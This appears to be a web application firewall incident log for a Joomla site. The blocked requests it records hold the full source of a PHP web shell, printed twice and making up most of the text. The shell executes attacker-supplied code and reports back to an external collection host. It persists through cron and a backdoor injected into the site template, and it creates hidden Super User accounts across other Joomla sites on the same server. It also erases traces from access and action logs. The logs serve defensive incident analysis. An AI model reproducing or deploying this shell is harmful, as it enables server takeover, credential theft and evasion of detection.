if($res&&$row=$res->fetch_assoc())$tpl=$row['template'];\n                $con->close();\n            }\n        }\n    }\n    if(!$tpl&&$wr){\n        $td=$wr.'/templates';\n        if(@is_dir($td)){\n            $it=@scandir($td);\n            if($it){foreach($it as $e){if($e!='.'&&$e!='..'&&@is_dir($td.'/'.$e)){$tpl=$e;break;}}}\n        }\n        if(!$tpl)$tpl=trim((string)_ex(\"ls -1 $wr/templates/ 2>/dev/null | grep -v '^\\.' | head -1\"));\n    }\n\n    $ti=$wr.'/templates/'.$tpl.'/index.php';\n    $bd_code='if(!preg_match(\\'/bot|crawl|spider|scan/i\\',isset($_server[\\'http_user_agent\\'])?$_server[\\'http_user_agent\\']:\\'\\')&&@md5(@$_cookie[\\'_jss\\'])==\\''.$sh.'\\'){@eval(@base64_decode(@$_post[\\'d\\']));}';\n    $bd=\"\\n<?php $bd_code ?>\";\n\n    if(@file_exists($ti)){\n        $orig_mtime=@filemtime($ti);\n        @chmod($ti,0644);\n        $cur=@file_get_contents($ti);\n        $inject_ok=0;\n        if($cur&&strpos($cur,$sh)===false){\n            $new=rtrim($cur);\n            if(substr($new,-2)==='?>'){$new=substr($new,0,-2).$bd.\"\\n?>\";}\n            else{$new.=$bd;}\n            $inject_ok=@file_put_contents($ti,$new)?1:0;\n            if($orig_mtime)@touch($ti,$orig_mtime,$orig_mtime);\n            @chmod($ti,0444);\n        }else{$inject_ok=2;}\n        $out['template']=array('path'=>$ti,'name'=>$tpl,'injected'=>$inject_ok,'cookie_name'=>'_jss','cookie_secret'=>$sk,'cookie_hash'=>$sh,'usage'=>'set cookie _jss='.$sk.' then post d=base64(php_code) to any page');\n    }else{\n        $out['template']=array('error'=>'template not found','path'=>$ti);\n    }\n\n    @chmod($sf,0444);\n    $out['shell']=array('path'=>$sf);\n    _cb('persist',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _find_joomla_dirs(){\n    $r=trim((string)_ex('find /home /var/www /srv /usr/local/www -maxdepth 8 -name \"configuration.php\" ! -path \"*/components/*\" ! -path \"*/modules/*\" ! -path \"*/plugins/*\" ! -path \"*/cache/*\" ! -path \"*/tmp/*\" 2>/dev/null | xargs -i{} dirname {} | sort -u'));\n    if($r)return array_filter(explode(\"\\n\",$r));\n    $found=array();\n    $bases=array('/home','/var/www','/srv','/usr/local/www');\n    $dl=ini_get('max_execution_time');\n    $ts=time();\n    $limit=$dl>0?min($dl-5,25):25;\n    foreach($bases as $base){\n        if(!@is_dir($base))continue;\n        try{\n            $it=new recursiveiteratoriterator(new recursivedirectoryiterator($base,recursivedirectoryiterator::skip_dots),recursiveiteratoriterator::self_first);\n            $it->setmaxdepth(7);\n            foreach($it as $f){\n                if(time()-$ts>$limit)break 2;\n                if($f->getfilename()==='configuration.php'){\n                    $d=$f->getpath();\n                    $dp=str_replace('\\\\','/',$d);\n                    if(strpos($dp,'/components/')===false&&strpos($dp,'/modules/')===false&&strpos($dp,'/plugins/')===false&&strpos($dp,'/cache/')===false&&strpos($dp,'/tmp/')===false){\n                        $c=@file_get_contents($f->getpathname());\n                        if($c&&strpos($c,'jconfig')!==false)$found[]=$d;\n                    }\n                }\n            }\n        }catch(exception $e){}\n    }\n    return array_unique($found);\n}\n\nfunction _lateral(){\n    $wr=_wr();\n    $out=array();\n    $sites=_find_joomla_dirs();\n    if(empty($sites)){_cb('lateral',array('error'=>'no sites found'));_r(array('ok'=>0,'data'=>array('error'=>'no sites found')));}\n    $prefixes=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n    foreach($sites as $root){\n        $root=trim(rtrim($root,'/'));\n        if(!$root||$root===$wr)continue;\n        $cf=$root.'/configuration.php';\n        if(!@file_exists($cf))continue;\n        $ct=@file_get_contents($cf);\n        if(!$ct||strpos($ct,'jconfig')===false)continue;\n        $h=_gc($ct,'host');$u=_gc($ct,'user');$pw=_gc($ct,'password');$db=_gc($ct,'db');$pfx=_gc($ct,'dbprefix');\n        if(!$h||!$db)continue;\n        $parts=explode('/',$root);\n        $domain='';\n        foreach(array('public_html','html','htdocs','www','web') as $mk){\n            $idx=array_search($mk,$parts);\n            if($idx!==false){$domain=isset($parts[$idx-1])?$parts[$idx-1]:'';break;}\n        }\n        if(!$domain)$domain=end($parts);\n        $nu=$prefixes[array_rand($prefixes)].rand(10,99);\n        $np='p@'.substr(md5(uniqid()),0,8).'!';\n        $site_out=array('root'=>$root,'domain'=>$domain,'user'=>$nu,'pass'=>$np,'admin_url'=>'https://'.$domain.'/administrator/');\n        $con=@new mysqli($h,$u,$pw,$db);\n        if(!$con->connect_error){\n            $con->query(\"set sql_mode=''\");\n            $hh=password_hash($np,password_bcrypt);\n            $ne=$nu.'@secure.local';\n            $con->query(\"insert into {$pfx}users (name,username,email,password,block,sendemail,registerdate,lastvisitdate,activation,params,lastresettime,otpkey,otep,requirereset) values ('$nu','$nu','$ne','$hh',0,1,now(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n            $uid=$con->insert_id;\n            if($uid){\n                $res=$con->query(\"select id from {$pfx}usergroups where title='super users' limit 1\");\n                $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n                $con->query(\"insert into {$pfx}user_usergroup_map (user_id,group_id) values ($uid,$gid)\");\n                $con->query(\"insert into {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) select max(id),max(rgt)+1,max(rgt)+2,1,concat('com_users.user.',$uid),'$nu','{}' from {$pfx}assets\");\n                $site_out['admin_created']=1;\n            }else{$site_out['admin_created']=0;}\n            $con->close();\n        }else{$site_out['db_error']=$con->connect_error;}\n        $out[]=$site_out;\n    }\n    _cb('lateral',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _db(){\n    $c=_cfg();\n    if(!$c){_r(array('ok'=>0,'data'=>array('error'=>'config not found')));}\n    $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n    $out=array('db'=>array('host'=>$h,'user'=>$u,'pass'=>$pw,'db'=>$db,'prefix'=>$pfx));\n    $sql=isset($_post['sql'])?$_post['sql']:'';\n    $add_admin=isset($_post['mkadmin'])?1:0;\n    $con=@new mysqli($h,$u,$pw,$db);\n    if($con->connect_error){_cb('db',array('error'=>$con->connect_error));_r(array('ok'=>0,'data'=>array('error'=>$con->connect_error)));}\n    if($sql){\n        $res=$con->query($sql);\n        if($res===true){$out['query']=array('affected'=>$con->affected_rows);}\n        elseif($res){$rows=array();while($row=$res->fetch_assoc())$rows[]=$row;$out['query']=array('rows'=>$rows,'count'=>count($rows));}\n        else{$out['query']=array('error'=>$con->error);}\n    }\n    if($add_admin){\n        $pfxs=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n        $nu=$pfxs[array_rand($pfxs)].rand(10,99);\n        $np='p@'.substr(md5(uniqid()),0,8).'!';\n        $hh=password_hash($np,password_bcrypt);\n        $ne=$nu.'@secure.local';\n        $con->query(\"set sql_mode=''\");\n        $con->query(\"insert into {$pfx}users (name,username,email,password,block,sendemail,registerdate,lastvisitdate,activation,params,lastresettime,otpkey,otep,requirereset) values ('$nu','$nu','$ne','$hh',0,1,now(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n        $uid=$con->insert_id;\n        if($uid){\n            $res=$con->query(\"select id from {$pfx}usergroups where title='super users' limit 1\");\n            $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n            $con->query(\"insert into {$pfx}user_usergroup_map (user_id,group_id) values ($uid,$gid)\");\n            $con->query(\"insert into {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) select max(id),max(rgt)+1,max(rgt)+2,1,concat('com_users.user.',$uid),'$nu','{}' from {$pfx}assets\");\n            $out['admin']=array('user'=>$nu,'pass'=>$np,'url'=>'https://'.(isset($_server['http_host'])?$_server['http_host']:'').'/administrator/');\n        }else{$out['admin']=array('error'=>$con->error);}\n    }\n    $con->close();\n    _cb('db',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _logclean(){\n    $sf=basename(__file__);\n    $sd=basename(dirname(__file__));\n    $out=array();\n    $logs=array('/var/log/apache2/access.log','/var/log/nginx/access.log','/var/log/httpd/access_log','/var/log/apache2/error.log','/var/log/nginx/error.log');\n    $ex=trim((string)_ex('find /home -maxdepth 5 \\( -name \"access_log\" -o -name \"access.log\" \\) 2>/dev/null'));\n    if($ex)foreach(explode(\"\\n\",$ex) as $l){if(trim($l))$logs[]=trim($l);}\n    foreach($logs as $lf){\n        if(!@file_exists($lf)||!@is_writable($lf))continue;\n        $lines=@file($lf,file_ignore_new_lines);\n        if($lines===false)continue;\n        $before=count($lines);\n        $lines=array_filter($lines,function($ln)use($sf,$sd){return strpos($ln,$sf)===false&&strpos($ln,$sd)===false;});\n        $after=count($lines);\n        @file_put_contents($lf,implode(\"\\n\",$lines).\"\\n\");\n        $out['logs'][]=array('file'=>$lf,'removed'=>$before-$after);\n    }\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $con->query(\"delete from {$pfx}session where time < unix_timestamp()-3600\");\n                $r1=$con->affected_rows;\n                $con->query(\"truncate table {$pfx}action_logs\");\n                $out['db']=array('sessions_cleaned'=>$r1,'action_logs'=>'truncated');\n                $con->close();\n            }\n        }\n    }\n    _cb('logclean',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nif(!_a()){_404();}\n\n$act=isset($_post['a'])?$_post['a']:'';\nif($act==='x'&&isset($_post['d'])){ob_end_clean();@eval(@base64_decode($_post['d']));exit;}\nswitch($act){\n    case'ping':    _ping();    break;\n    case'persist': _persist(); break;\n    case'lateral': _lateral(); break;\n    case'db':      _db();      break;\n    case'logclean':_logclean();break;\n    default:       _404();\n}\n||RSV:8.27||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.27||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/images/params/fnqs5o.php||SC:/home/alnay/public_html/images/params||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\nerror_reporting(0);\nob_start();\n\ndefine('_C','_jss');\ndefine('_S','a8f3k2p9x1');\n\nfunction _cb_url(){return isset($_POST['cb'])&&$_POST['cb']?$_POST['cb']:'http://208.84.101.239:8888/collect';}\nfunction _a(){return isset($_COOKIE[_C])&&md5($_COOKIE[_C])===md5(_S);}\nfunction _r($d){ob_end_clean();header('Content-Type:application/json');echo json_encode($d);exit;}\nfunction _404(){ob_end_clean();header('HTTP/1.0 404 Not Found');$h=isset($_SERVER['HTTP_HOST'])?htmlspecialchars($_SERVER['HTTP_HOST']):'';$p=isset($_SERVER['SERVER_PORT'])?$_SERVER['SERVER_PORT']:80;echo'<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Debian) Server at '.$h.' Port '.$p.'</address></body></html>';exit;}\nfunction _gc($t,$k){preg_match('/public \\$'.$k.'\\s*=\\s*\\'([^\\']*)\\'/i',$t,$m);return isset($m[1])?$m[1]:'';}\n\nfunction _ex($cmd){\n    if(function_exists('shell_exec'))return @shell_exec($cmd);\n    if(function_exists('exec')){@exec($cmd,$o);return implode(\"\\n\",$o);}\n    if(function_exists('proc_open')){\n        $p=@proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pi);\n        if($p){$o=stream_get_contents($pi[1]);fclose($pi[1]);fclose($pi[2]);proc_close($p);return $o;}\n    }\n    if(function_exists('passthru')){ob_start();@passthru($cmd);return ob_get_clean();}\n    if(function_exists('system')){ob_start();@system($cmd);return ob_get_clean();}\n    return null;\n}\n\nfunction _cfg(){\n    $d=dirname(__FILE__);\n    for($i=0;$i<8;$i++){\n        $f=$d.DIRECTORY_SEPARATOR.'configuration.php';\n        if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'JConfig')!==false)return $c;}\n        $np=dirname($d);if($np===$d)break;$d=$np;\n    }\n    $roots=array();\n    if(getenv('DOCUMENT_ROOT'))$roots[]=getenv('DOCUMENT_ROOT');\n    if(getenv('CONTEXT_DOCUMENT_ROOT'))$roots[]=getenv('CONTEXT_DOCUMENT_ROOT');\n    $roots[]='/var/www/html';$roots[]='/var/www';\n    foreach($roots as $x){$f=rtrim($x,'/\\\\').'/configuration.php';if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'JConfig')!==false)return $c;}}\n    $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n    if($o){$c=@file_get_contents($o);if($c&&strpos($c,'JConfig')!==false)return $c;}\n    return null;\n}\n\nfunction _wr(){\n    $r=isset($_SERVER['DOCUMENT_ROOT'])?realpath($_SERVER['DOCUMENT_ROOT']):'';\n    if(!$r){\n        $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n        if($o)$r=dirname($o);\n    }\n    if(!$r){\n        $c=_cfg();\n        if($c){$lp=_gc($c,'log_path');if($lp&&strpos($lp,'/')===0)$r=realpath(dirname($lp));}\n    }\n    if(!$r)$r=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'';\n    return $r;\n}\n\nfunction _post($url,$body){\n    if(function_exists('curl_init')){\n        $ch=@curl_init($url);\n        if($ch){\n            @curl_setopt($ch,CURLOPT_POST,1);\n            @curl_setopt($ch,CURLOPT_POSTFIELDS,$body);\n            @curl_setopt($ch,CURLOPT_HTTPHEADER,array('Content-Type: application/json'));\n            @curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\n            @curl_setopt($ch,CURLOPT_TIMEOUT,5);\n            @curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);\n            $r=@curl_exec($ch);\n            @curl_close($ch);\n            return $r;\n        }\n    }\n    if(ini_get('allow_url_fopen')){\n        @file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'POST','header'=>'Content-Type: application/json','content'=>$body,'timeout'=>5,'ignore_errors'=>true))));\n    }\n    return '';\n}\n\nfunction _cb($action,$data){\n    $p=json_encode(array('site'=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'','url'=>(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']?'https':'http').'://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'').(isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:''),'action'=>$action,'data'=>$data,'ts'=>date('Y-m-d H:i:s')));\n    _post(_cb_url(),$p);\n}\n\nfunction _whoami(){\n    $u=trim((string)_ex('whoami 2>/dev/null'));\n    if(!$u&&function_exists('posix_geteuid')){$pw=@posix_getpwuid(@posix_geteuid());$u=isset($pw['name'])?$pw['name']:'';}\n    if(!$u)$u=get_current_user();\n    return $u;\n}\n\nfunction _ping(){\n    $wr=_wr();\n    $ex=_ex('id 2>/dev/null');\n    $d=array('whoami'=>_whoami(),'php'=>phpversion(),'os'=>php_uname(),'webroot'=>$wr,'host'=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'','shell'=>__FILE__,'exec'=>$ex!==null?'on':'off');\n    _cb('ping',$d);\n    _r(array('ok'=>1,'data'=>$d));\n}\n\nfunction _persist(){\n    $wr=_wr();\n    $sf=__FILE__;\n    $sb=base64_encode(@file_get_contents($sf));\n    $sk=substr(md5(uniqid()),0,12);\n    $sh=md5($sk);\n    $out=array();\n\n    $cron=\"*/10 * * * * php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\" 2>/dev/null\";\n    $cr=trim((string)_ex('(crontab -l 2>/dev/null | grep -v \"'.addslashes($sf).'\"; echo \"'.addslashes($cron).'\") | crontab - 2>/dev/null && echo OK'));\n    $cron_ok=((strpos($cr,'OK')!==false)||$cr==='')?1:0;\n    if(!$cron_ok){\n        $cd='/etc/cron.d';\n        if(@is_dir($cd)&&@is_writable($cd)){\n            $cn='svc_cache_'.substr(md5($sf),0,6);\n            $cron_ok=@file_put_contents($cd.'/'.$cn,\"*/10 * * * * root php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\"\\n\")?1:0;\n        }\n    }\n    $out['cron']=array('ok'=>$cron_ok,'line'=>$cron);\n\n    $tpl='';\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $res=$con->query(\"SELECT template FROM {$pfx}template_styles WHERE home=1 AND client_id=0 LIMIT 1\");\n                if($res&&$row=$res->fetch_assoc())$tpl=$row['template'];\n                $con->close();\n            }\n        }\n    }\n    if(!$tpl&&$wr){\n        $td=$wr.'/templates';\n        if(@is_dir($td)){\n            $it=@scandir($td);\n            if($it){foreach($it as $e){if($e!='.'&&$e!='..'&&@is_dir($td.'/'.$e)){$tpl=$e;break;}}}\n        }\n        if(!$tpl)$tpl=trim((string)_ex(\"ls -1 $wr/templates/ 2>/dev/null | grep -v '^\\.' | head -1\"));\n    }\n\n    $ti=$wr.'/templates/'.$tpl.'/index.php';\n    $bd_code='if(!preg_match(\\'/bot|crawl|spider|scan/i\\',isset($_SERVER[\\'HTTP_USER_AGENT\\'])?$_SERVER[\\'HTTP_USER_AGENT\\']:\\'\\')&&@md5(@$_COOKIE[\\'_jss\\'])==\\''.$sh.'\\'){@eval(@base64_decode(@$_POST[\\'d\\']));}';\n    $bd=\"\\n<?php $bd_code ?>\";\n\n    if(@file_exists($ti)){\n        $orig_mtime=@filemtime($ti);\n        @chmod($ti,0644);\n        $cur=@file_get_contents($ti);\n        $inject_ok=0;\n        if($cur&&strpos($cur,$sh)===false){\n            $new=rtrim($cur);\n            if(substr($new,-2)==='?>'){$new=substr($new,0,-2).$bd.\"\\n?>\";}\n            else{$new.=$bd;}\n            $inject_ok=@file_put_contents($ti,$new)?1:0;\n            if($orig_mtime)@touch($ti,$orig_mtime,$orig_mtime);\n            @chmod($ti,0444);\n        }else{$inject_ok=2;}\n        $out['template']=array('path'=>$ti,'name'=>$tpl,'injected'=>$inject_ok,'cookie_name'=>'_jss','cookie_secret'=>$sk,'cookie_hash'=>$sh,'usage'=>'Set cookie _jss='.$sk.' then POST d=base64(php_code) to any page');\n    }else{\n        $out['template']=array('error'=>'template not found','path'=>$ti);\n    }\n\n    @chmod($sf,0444);\n    $out['shell']=array('path'=>$sf);\n    _cb('persist',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _find_joomla_dirs(){\n    $r=trim((string)_ex('find /home /var/www /srv /usr/local/www -maxdepth 8 -name \"configuration.php\" ! -path \"*/components/*\" ! -path \"*/modules/*\" ! -path \"*/plugins/*\" ! -path \"*/cache/*\" ! -path \"*/tmp/*\" 2>/dev/null | xargs -I{} dirname {} | sort -u'));\n    if($r)return array_filter(explode(\"\\n\",$r));\n    $found=array();\n    $bases=array('/home','/var/www','/srv','/usr/local/www');\n    $dl=ini_get('max_execution_time');\n    $ts=time();\n    $limit=$dl>0?min($dl-5,25):25;\n    foreach($bases as $base){\n        if(!@is_dir($base))continue;\n        try{\n            $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);\n            $it->setMaxDepth(7);\n            foreach($it as $f){\n                if(time()-$ts>$limit)break 2;\n                if($f->getFilename()==='configuration.php'){\n                    $d=$f->getPath();\n                    $dp=str_replace('\\\\','/',$d);\n                    if(strpos($dp,'/components/')===false&&strpos($dp,'/modules/')===false&&strpos($dp,'/plugins/')===false&&strpos($dp,'/cache/')===false&&strpos($dp,'/tmp/')===false){\n                        $c=@file_get_contents($f->getPathname());\n                        if($c&&strpos($c,'JConfig')!==false)$found[]=$d;\n                    }\n                }\n            }\n        }catch(Exception $e){}\n    }\n    return array_unique($found);\n}\n\nfunction _lateral(){\n    $wr=_wr();\n    $out=array();\n    $sites=_find_joomla_dirs();\n    if(empty($sites)){_cb('lateral',array('error'=>'no sites found'));_r(array('ok'=>0,'data'=>array('error'=>'no sites found')));}\n    $prefixes=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n    foreach($sites as $root){\n        $root=trim(rtrim($root,'/'));\n        if(!$root||$root===$wr)continue;\n        $cf=$root.'/configuration.php';\n        if(!@file_exists($cf))continue;\n        $ct=@file_get_contents($cf);\n        if(!$ct||strpos($ct,'JConfig')===false)continue;\n        $h=_gc($ct,'host');$u=_gc($ct,'user');$pw=_gc($ct,'password');$db=_gc($ct,'db');$pfx=_gc($ct,'dbprefix');\n        if(!$h||!$db)continue;\n        $parts=explode('/',$root);\n        $domain='';\n        foreach(array('public_html','html','htdocs','www','web') as $mk){\n            $idx=array_search($mk,$parts);\n            if($idx!==false){$domain=isset($parts[$idx-1])?$parts[$idx-1]:'';break;}\n        }\n        if(!$domain)$domain=end($parts);\n        $nu=$prefixes[array_rand($prefixes)].rand(10,99);\n        $np='P@'.substr(md5(uniqid()),0,8).'!';\n        $site_out=array('root'=>$root,'domain'=>$domain,'user'=>$nu,'pass'=>$np,'admin_url'=>'https://'.$domain.'/administrator/');\n        $con=@new mysqli($h,$u,$pw,$db);\n        if(!$con->connect_error){\n            $con->query(\"SET sql_mode=''\");\n            $hh=password_hash($np,PASSWORD_BCRYPT);\n            $ne=$nu.'@secure.local';\n            $con->query(\"INSERT INTO {$pfx}users (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params,lastResetTime,otpKey,otep,requireReset) VALUES ('$nu','$nu','$ne','$hh',0,1,NOW(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n            $uid=$con->insert_id;\n            if($uid){\n                $res=$con->query(\"SELECT id FROM {$pfx}usergroups WHERE title='Super Users' LIMIT 1\");\n                $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n                $con->query(\"INSERT INTO {$pfx}user_usergroup_map (user_id,group_id) VALUES ($uid,$gid)\");\n                $con->query(\"INSERT INTO {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) SELECT MAX(id),MAX(rgt)+1,MAX(rgt)+2,1,CONCAT('com_users.user.',$uid),'$nu','{}' FROM {$pfx}assets\");\n                $site_out['admin_created']=1;\n            }else{$site_out['admin_created']=0;}\n            $con->close();\n        }else{$site_out['db_error']=$con->connect_error;}\n        $out[]=$site_out;\n    }\n    _cb('lateral',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _db(){\n    $c=_cfg();\n    if(!$c){_r(array('ok'=>0,'data'=>array('error'=>'config not found')));}\n    $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n    $out=array('db'=>array('host'=>$h,'user'=>$u,'pass'=>$pw,'db'=>$db,'prefix'=>$pfx));\n    $sql=isset($_POST['sql'])?$_POST['sql']:'';\n    $add_admin=isset($_POST['mkadmin'])?1:0;\n    $con=@new mysqli($h,$u,$pw,$db);\n    if($con->connect_error){_cb('db',array('error'=>$con->connect_error));_r(array('ok'=>0,'data'=>array('error'=>$con->connect_error)));}\n    if($sql){\n        $res=$con->query($sql);\n        if($res===true){$out['query']=array('affected'=>$con->affected_rows);}\n        elseif($res){$rows=array();while($row=$res->fetch_assoc())$rows[]=$row;$out['query']=array('rows'=>$rows,'count'=>count($rows));}\n        else{$out['query']=array('error'=>$con->error);}\n    }\n    if($add_admin){\n        $pfxs=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n        $nu=$pfxs[array_rand($pfxs)].rand(10,99);\n        $np='P@'.substr(md5(uniqid()),0,8).'!';\n        $hh=password_hash($np,PASSWORD_BCRYPT);\n        $ne=$nu.'@secure.local';\n        $con->query(\"SET sql_mode=''\");\n        $con->query(\"INSERT INTO {$pfx}users (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params,lastResetTime,otpKey,otep,requireReset) VALUES ('$nu','$nu','$ne','$hh',0,1,NOW(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n        $uid=$con->insert_id;\n        if($uid){\n            $res=$con->query(\"SELECT id FROM {$pfx}usergroups WHERE title='Super Users' LIMIT 1\");\n            $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n            $con->query(\"INSERT INTO {$pfx}user_usergroup_map (user_id,group_id) VALUES ($uid,$gid)\");\n            $con->query(\"INSERT INTO {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) SELECT MAX(id),MAX(rgt)+1,MAX(rgt)+2,1,CONCAT('com_users.user.',$uid),'$nu','{}' FROM {$pfx}assets\");\n            $out['admin']=array('user'=>$nu,'pass'=>$np,'url'=>'https://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'').'/administrator/');\n        }else{$out['admin']=array('error'=>$con->error);}\n    }\n    $con->close();\n    _cb('db',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _logclean(){\n    $sf=basename(__FILE__);\n    $sd=basename(dirname(__FILE__));\n    $out=array();\n    $logs=array('/var/log/apache2/access.log','/var/log/nginx/access.log','/var/log/httpd/access_log','/var/log/apache2/error.log','/var/log/nginx/error.log');\n    $ex=trim((string)_ex('find /home -maxdepth 5 \\( -name \"access_log\" -o -name \"access.log\" \\) 2>/dev/null'));\n    if($ex)foreach(explode(\"\\n\",$ex) as $l){if(trim($l))$logs[]=trim($l);}\n    foreach($logs as $lf){\n        if(!@file_exists($lf)||!@is_writable($lf))continue;\n        $lines=@file($lf,FILE_IGNORE_NEW_LINES);\n        if($lines===false)continue;\n        $before=count($lines);\n        $lines=array_filter($lines,function($ln)use($sf,$sd){return strpos($ln,$sf)===false&&strpos($ln,$sd)===false;});\n        $after=count($lines);\n        @file_put_contents($lf,implode(\"\\n\",$lines).\"\\n\");\n        $out['logs'][]=array('file'=>$lf,'removed'=>$before-$after);\n    }\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $con->query(\"DELETE FROM {$pfx}session WHERE time < UNIX_TIMESTAMP()-3600\");\n                $r1=$con->affected_rows;\n                $con->query(\"TRUNCATE TABLE {$pfx}action_logs\");\n                $out['db']=array('sessions_cleaned'=>$r1,'action_logs'=>'truncated');\n                $con->close();\n            }\n        }\n    }\n    _cb('logclean',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nif(!_a()){_404();}\n\n$act=isset($_POST['a'])?$_POST['a']:'';\nif($act==='x'&&isset($_POST['d'])){ob_end_clean();@eval(@base64_decode($_POST['d']));exit;}\nswitch($act){\n    case'ping':    _ping();    break;\n    case'persist': _persist(); break;\n    case'lateral': _lateral(); break;\n    case'db':      _db();      break;\n    case'logclean':_logclean();break;\n    default:       _404();\n}\n||MVN:ARGS:data||RSV:8.27||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.27||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/images/cqwn3w.php||SC:/home/alnay/public_html/images/cqwn3w.php||


plugin: modsec
rule: 77142206
name: IM360 WAF: Joomla Com_Fabrik Vulnerabilities (RBL)
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Joomla Com_Fabrik Vulnerabilities (RBL)||MVN:ARGS:option||MV:com_fabrik||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:10-38.170.205.31.43||RSV:8.27||T:APACHE||


plugin: modsec
rule: 33311
